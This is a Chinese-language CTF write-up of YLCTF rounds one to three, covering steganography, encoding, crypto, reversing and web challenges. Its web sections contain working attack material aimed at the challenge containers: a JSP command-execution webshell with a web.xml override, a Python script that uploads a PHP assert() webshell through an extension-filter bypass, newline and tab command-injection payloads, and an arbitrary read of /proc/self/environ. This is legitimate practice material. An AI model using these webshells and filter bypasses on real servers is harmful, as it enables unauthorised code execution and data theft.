Round1
Misc
hide_png
下载附件
是一张图片
能隐约看到有点阵组成的Flag
使用PS调整图片
pngorzip
下载附件 根据hint 推断出应该是图片内隐写了zip压缩包
发现RGB通道存在zip隐写 包含flag.txt
zsteg
发现通道"b1,rgb,lsb,xy"存在ZIP隐写
提取zip
打开压缩包却提示文件损坏
使用010Editor查看压缩包 发现有多余的无用数据 删去
成功打开压缩包 发现是加密压缩包 并且不是伪加密
查看文件注释
推测是掩码爆破 使用工具进行破解 发现完整密码为114514giao
打开flag.txt 得到Flag
plain_crack
下载附件 发现
包含build.py和一个压缩包
打开压缩包发现 压缩包内同样存在build.py
推测是明文攻击类型 计算CRC32 发现均为DD549D08
于是使用工具Advanced Archive Password Recovery进行明文攻击
原压缩包算法:ZipCrypto Deflate
明文攻击成功
打开发现一个docx文档 点卡 发现提示fakeflag
转换思路 因为没有其他信息 所以猜测是word隐写
将扩展名改为.zip 打开
发现文件J$BZ17OZ[`1QRKB1(F1]T.png
打开图片 所看到的字符就是flag
trafficdet
下载附件
使用随机森林分类器进行模型训练 [Powered By ChatGPT 4o]
import pandas as pd
from sklearn.ensemble import RandomForestClassifier
# 加载训练数据
train_data = pd.read_csv('train.csv')
X_train = train_data.drop(columns=['Label']) # 特征
y_train = train_data['Label'] # 标签
# 加载测试数据
test_data = pd.read_csv('test.csv')
# 初始化随机森林分类器
clf = RandomForestClassifier(n_estimators=100, random_state=42)
# 训练模型
clf.fit(X_train, y_train)
# 对测试集进行预测
test_predictions = clf.predict(test_data)
result = pd.DataFrame({
'id': test_data.index + 1, # 行数从1开始
'Label': test_predictions # 预测结果
})
# 保存预测结果到exp.csv
result.to_csv('exp.csv', index=False)
print("预测已完成,结果已保存到 'exp.csv'")
运行即可获得预测好的csv文件, 上传即可获得flag
whatmusic
下载附件
压缩包内包含加密的flag文件和未加密的password文件
010打开password 发现文件为内容倒置的png
f = open('password','rb')
a = f.read()
a = a[::-1]
new = open('out.png','wb')
new.write(a)
print(a[::-1])
纯白(
修复高宽
镜像一下ocr提取就行了 是压缩包的密码
解压缩出来flag 最抽象的地方来了
hint1 : 这是桑德拉(Thundra)给她女儿唱的歌
hint2 : flag中字母全为大写并且套上YLCTF
查吧 查到漫威
她有个女儿 叫lyra 一查 有个同名的音频解码器 和hint1的唱歌对应上了
接下来就是搭建这个lyra的环境 折磨我四个小时 没搭好 放弃了不要分了(
赛后问了aura佬 说用vs的codespace 懒得搞了 GG
补档:腾出时间用codespace配置了一下lyra
参考某大佬博客:
http://110.40.41.206:1234/2024/09/03/lyra/
弄好以后 得到音频文件 放慢倍速听就行!
[签到] 打卡小能手
关注公众号发送文本即可获得flag
Web
Disal
进入容器 网页显示
查看网页源代码
<!DOCTYPE html>
<head>
<title>Can you find the flag?</title>
</head>
<body>
<h3>There is no flag here.</h3>
haha...
</body>
<!--f1ag_is_here.php-->
发现 “f1ag_is_here.php” 访问
发现一张机器人图片 名为reobots.jpg 所以推测是爬虫robots协议
访问robots.txt
User-agent: *
Disallow: f1ag.php
访问f1ag.php
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];
if($a>999999 and $key){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
分析代码可知 需要通过get方式传入参数b POST方式传入参数a
考察PHP的弱比较 构造一个b=1235a
a=1000000abcdef 正则匹配出为abcdef符合6位字符串 所以key为True
传入参数 得到flag
TOXEC
(Powered By AI)
进入容器 发现是文件上传题
上传文件 1.xml
<%
if("666".equals(request.getParameter("666"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>xml</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>xml</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
</web-app>
然后通过文件重命名功能覆盖掉原来的配置文件,将xml文件解析为jsp文件
覆盖后访问上传目录的upload/1.xml传入参数即可getshell
使用ls与cat获取flag
shxpl
访问容器
尝试使用;执行ls
多次试验后发现ls,分号,空格均被过滤
使用 %0a 直接换行绕过" ; " 使用%09绕过空格
查询资料发现可以使用du同样可以列举文件
于是使用du -a绕过ls 使用BurpSuite传入构造好的POST参数
domain=www.baidu.com%0adu%09-a%09/
找到文件"/flag_RV2gd5sc"
于是使用cat命令查看文件 结果发现cat也被过滤了
发现可以使用more来代替cat 很巧的是more并没有被过滤
尝试 结果发现flag也被过滤了通配符*也不行
于是 使用[f-h]替换g进行模糊匹配 (正则大法好)
于是构造
domain=www.baidu.com%0amore%09/fla[f-h]_RV2gd5sc
看回显 成功获得Flag
Round2
Crypto
ezAES
连接容器 获得AES加密部分的代码
nc challenge.yuanloo.com 36780
this is a AES,you maybe need full padding.
key is YLCTF-CRYPTO
iv is YLCTF-IV
AES define is
from Crypto.Cipher import AES
AES.new(key,2,iv)
result = b""
padded_data = pad(flag, AES.block_size)
endata = aes.encrypt(padded_data)
print(endata)
\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19
your result:
分析这段加密代码 可知给出了密钥,初始向量与最终密文
联合题目分析“看起来你需要补充些什么”
发现key和IV长度分别为12和8
不符合AES中 128位(16字节)、192位(24字节)或256位(32字节) 的要求
查询资料 使用 PKCS7填充方式
exp如下:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 密钥与初始向量IV
key = b'YLCTF-CRYPTO' # 12字节密钥
iv = b'YLCTF-IV' # 8字节IV
# 进行PKCS7填充
key = key.ljust(16, b'\0') # 将密钥填充到16字节
iv = iv.ljust(16, b'\0') # 将IV填充到16字节
# 使用CBC模式初始化AES加密器
aes = AES.new(key, AES.MODE_CBC, iv)
# 加载密文
encrypted_data = b'\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19'
# 解密数据
decrypted_padded_data = aes.decrypt(encrypted_data)
# 去除PKCS7填充
decrypted_data = unpad(decrypted_padded_data, AES.block_size)
print(decrypted_data.decode('utf-8')) # 转换为字符串
输出结果为:keysauikoydasuicxs
输入至服务器 得到flag
Web
Cmnts
打开容器 F12查看源代码
Base64解码得到“get_th1s_f1ag.php” 访问
分析代码可知 因为使用的是parse_str($_SEVER['???']) 会将所有得到的参数转换为变量
当pass参数存在时 给变量key赋值为pass的md5值
但是如果pass不存在 则不会对key进行操作 而利用parse_str($_SEVER['???']) 可以直接传入key参数
直接令key=md5值即可获得flag
PHUPE
文件上传题 下载附件 查看源码 找到对文件检测的部分
public function uploadFile($file) {
$name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
return false;
}
$data = file_get_contents($file['tmp_name']);
if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){
echo "<script>alert('恶意内容!')</script>";
return false;
}
$target_file = $this->uploadDir .$name;
if (move_uploaded_file($file['tmp_name'], $target_file)) {
echo "<script>alert('文件上传成功!')</script>";
return true;
}
return false;
}
分析可知 绕过检测的要求为:扩展名没有'ph'和'hta'
因为不能有'hta',所以无法通过上传.htaccess文件将其他文件解析为php
使用PATHINFO_EXTENSION或许文件信息 可以利用一下 他获得的扩展名是.后的文本
通过在文件名后添加.可使获取到的扩展名为空 所以绕过了对扩展名的检测
同时在.前添加/ 这样在move_uploaded_file时 因为系统无法创建名为"."的文件
所以"/."会被截取 文件名将会被识别为"shell.php"
同时 因为会对文件内容进行检测 不能包含
php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high
使用<? ?>标签来替代<?php >
同时查一查有什么没有被排除的函数可以执行命令
写出如下exp
import requests
url = 'http://challenge.yuanloo.com:38107/?name=shell.php/.'
file_content = "<? @assert($_POST['cmd'])?>"
files = {
'file': ('I_Am_Mnzn', file_content)
}
response = requests.post(url=url, files=files)
print(response.text)
上传成功
蚁剑连接
成功GetShell 获取flag即可
Misc
Trace
下载附件
010打开 文件尾后有一大串文本 看着像Base64
提出来丢赛博厨子
转换完发现是rar 提取出来 发现是加密压缩包 使用工具尝试爆破密码
发现是扭曲的图片
至于怎么看flag
把四张图拼一起就能看到一个完整的flag了 (
滴答滴
010打开 发现是由 00 FF 组成的
结合题目:
联想到BUUCTF 有一道Crypto3就用了个编码方式叫Manchester(曼彻斯特)
然后将HEX中的 00 -> 0 ; FF -> 1
得到的二进制文本 再进行一次Manchester解码
01->0 ; 10->1
然后把得到的2进制数据转换为字符串即可
代码如下:
from Crypto.Util.number import long_to_bytes
# 读取文件中的十六进制数据
with open('attachment', 'rb') as file:
hex_data = file.read() # 读取文件内容
# 将读取到的二进制数据转换为十六进制字符串
hex_string = hex_data.hex().upper() # 转换为十六进制,并转为大写
print("Old HEX:", hex_string)
# 00->0,FF->1
temp = ''
for i in range(0, len(hex_string), 2):
hex_pair = hex_string[i:i + 2] # 每次读取两个字符进行转换
if hex_pair == '00':
temp += '0'
elif hex_pair == 'FF':
temp += '1'
# 打印第一次曼彻斯特编码结果
print("Manchester 1:", temp)
temp2 = ''
# 进行第二次曼彻斯特编码
#01->0,10->1
for i in range(0, len(temp), 2):
pair = temp[i:i + 2] # 每次读取两个字符进行转换
if pair == '01':
temp2 += '0'
elif pair == '10':
temp2 += '1'
# 打印第二次曼彻斯特编码结果
print("Manchester 2:", temp2)
flag = ''
# 按8位分组生成十六进制
for i in range(0, len(temp2), 8):
byte = temp2[i:i + 8] # 提取每8位作为一个字节
flag += long_to_bytes(int(byte, 2)).decode()
# 输出最终结果
print("Flag :", flag)
Round3
Misc
Blackdoor
下载附件 分析文件
实在是没什么好说的了 我火绒给include.php报了个危险
太喜感了 实在是爆笑 what can i say
Tinted(一血)
下载附件 一张图片
解题流程:
取每个色块色值的后两位作为16进制数
转换为字符串后进行Base64解密 字符集比较特殊
字符集3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
67 65 72 49 66 4a 6a 42 52 5a 66 31 52 67 62 74 52 4c 52 39
54 64 4a 75 52 63 75 75 53 74 57 75 51 67 4a 74 69 5a 57 39
54 67 4a 7a 54 64 52 76 54 4c 69 75 52 74 62 71 70 62 35 35
->HexToString->Base64Decode->
YLCTF{25e1d30c-9141-4784-a3b8-9a99358f4340}
Figure(一血)
下载附件,010打开
发现所有字符均在0-f范围内 推测是16进制
转换成16进制文件试试 打开发现乱码
看开头的Figure文件末尾->0598
猜测是8950倒序->png文件头
于是进行 逆序->转换 处理
with open('Figure', 'r') as input_file:
input_text = input_file.read()
reversed_text = input_text[::-1]
byte_data = bytes.fromhex(reversed_text)
with open('output.png', 'wb') as output_file:
output_file.write(byte_data)
打开提取出的图片文件
这一步有点抽象 把每个点的坐标按顺序提取出来 只能说很费眼睛 一共38个点
点坐标
(52,50),
(83,115),
(102,120),
(82,68),
(121,86),
(76,122),
(106,77),
(112,84),
(69,106),
(74,99),
(102,105),
(106,84),
(105,107),
(119,120),
(78,71),
(101,106),
(71,120),
(66,112),
(119,57),
(87,49),
(49,82),
(115,66),
(55,71),
(113,65),
(114,89),
(116,77),
(111,103),
(68,84),
(88,89),
(100,76),
(72,56),
(107,90),
(109,102),
(85,101),
(104,51),
(85,109),
(81,89)
然后将点的坐标作为ASCII码转换为字符 根据hint1,格式为 x1x2x3..xnyn....y3y2y1
coordinates = [
#坐标集合 太长了就没在代码里放了
]
# 获取字符
result = ""
for x, y in coordinates:
result += chr(x)
for x, y in reversed(coordinates):
result += chr(y)
print(result)
4SfRyLjpEJfjiwNeGBwW1s7qrtoDXdHkmUhUQYm3efZ8LYTgMYAGBR19pxjGxkTicjTMzVDxs2
根据hint2 进行13位栅栏解密
4jiwrHQZM1GcVSpwWtkY8Y9xjDfEN1ommLApkTxRJesDU3YGxTMsyfG7XheTBjiz2LjBqdUfgR
使用CyberChef进行剩余的解密
得到flag->YLCTF{a3a9cb97-0aca-485a-a35e-c32dca7c1fa8}
Crypto
QWQ
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
一眼顶真 鉴定为AAencode编码
解码
LFGEGVCGPNUEA5RTL5DHK3S7O4YXI2C7ORUGSNK7M5QW2M27KFLVC7I=
Base32字符串 再解码一次即可 -> YLCTF{h@v3_Fun_w1th_thi5_gam3_QWQ}
Web
404
进入f12g.php 发现跳转到了404页面
bp抓包看看
Server-Timing有一段b64字符串
解码->去ca.php做个数学题吧
查看源代码 发现是js控制的时间限制 直接禁用js 执行一下php代码 算完了以后允许js提交就行了
Pread
添加笔记 导出笔记 导入笔记都试了试
使用bp抓包 发现导出笔记时可能存在任意文件下载漏洞
尝试一下读取系统变量 ?filename=/proc/self/environ
KUBERNETES_SERVICE_PORT_HTTPS=443.KUBERNETES_SERVICE_PORT=443.HOSTNAME=web-01javzxwden32j0v34efnz4982.PYTHON_VERSION=3.8.19.PWD=/.PYTHON_SETUPTOOLS_VERSION=57.5.0.HOME=/root.LANG=C.UTF-8.KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443.GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568.SHLVL=0.KUBERNETES_PORT_443_TCP_PROTO=tcp.PYTHON_PIP_VERSION=23.0.1.KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1.WEB_CONCURRENCY=1.PYTHON_GET_PIP_SHA256=bc37786ec99618416cc0a0ca32833da447f4d91ab51d2c138dd15b7af21e8e9a.GZCTF_TEAM_ID=418.KUBERNETES_SERVICE_HOST=10.43.0.1.GZCTF_FLAG=YLCTF{6272a2d6-b784-41bc-822a-dccaede623cb}.KUBERNETES_PORT=tcp://10.43.0.1:443.KUBERNETES_PORT_443_TCP_PORT=443.PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/def4aec84b261b939137dd1c69eff0aabb4a7bf4/public/get-pip.py.PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin._=/usr/bin/nohup
GZCTF_FLAG=YLCTF{6272a2d6-b784-41bc-822a-dccaede623cb}
Rev
[Round 3] ezmaze
下载附件
拖入IDA反编译
int __fastcall main(int argc, const char **argv, const char **envp)
{
char action[55]; // [rsp+20h] [rbp-60h] BYREF
char singleAction; // [rsp+57h] [rbp-29h]
char *maze; // [rsp+58h] [rbp-28h]
int detailAction; // [rsp+64h] [rbp-1Ch]
int step; // [rsp+68h] [rbp-18h]
int place; // [rsp+6Ch] [rbp-14h]
_main(argc, argv, envp);
maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************";
place = 5;
gets(action);
step = 0;
detailAction = 0;
while ( step < strlen(action) )
{
singleAction = action[step++];
if ( singleAction == 100 )
{
detailAction = 1;
}
else if ( singleAction > 100 )
{
if ( singleAction == 115 )
{
detailAction = 10;
}
else if ( singleAction == 119 )
{
detailAction = -10;
}
}
else if ( singleAction == 97 )
{
detailAction = -1;
}
if ( maze[detailAction + (__int64)place] != 43 && maze[detailAction + (__int64)place] != 70 )
{
printf("ooooh , Not feasible ahead!");
return 0;
}
while ( maze[detailAction + (__int64)place] == 43 || maze[detailAction + (__int64)place] == 70 )
place += detailAction;
}
if ( maze[place] == 70 )
printf("you get the flag! flag is : YLCTF{md5(%s)}", action);
else
printf("come on!");
return 0;
}
阅读代码 发现是迷宫 w左移10行 s右移十行 其实可以转换成二维的
另外
所以操作一次后 只有当下一步会到达*时才会停止操作 否则会重复当前操作
可知路径如下:dsasasdsaw
md5 -> efac19a75e413ad6680adec92504b654
Flag -> YLCTF{efac19a75e413ad6680adec92504b654}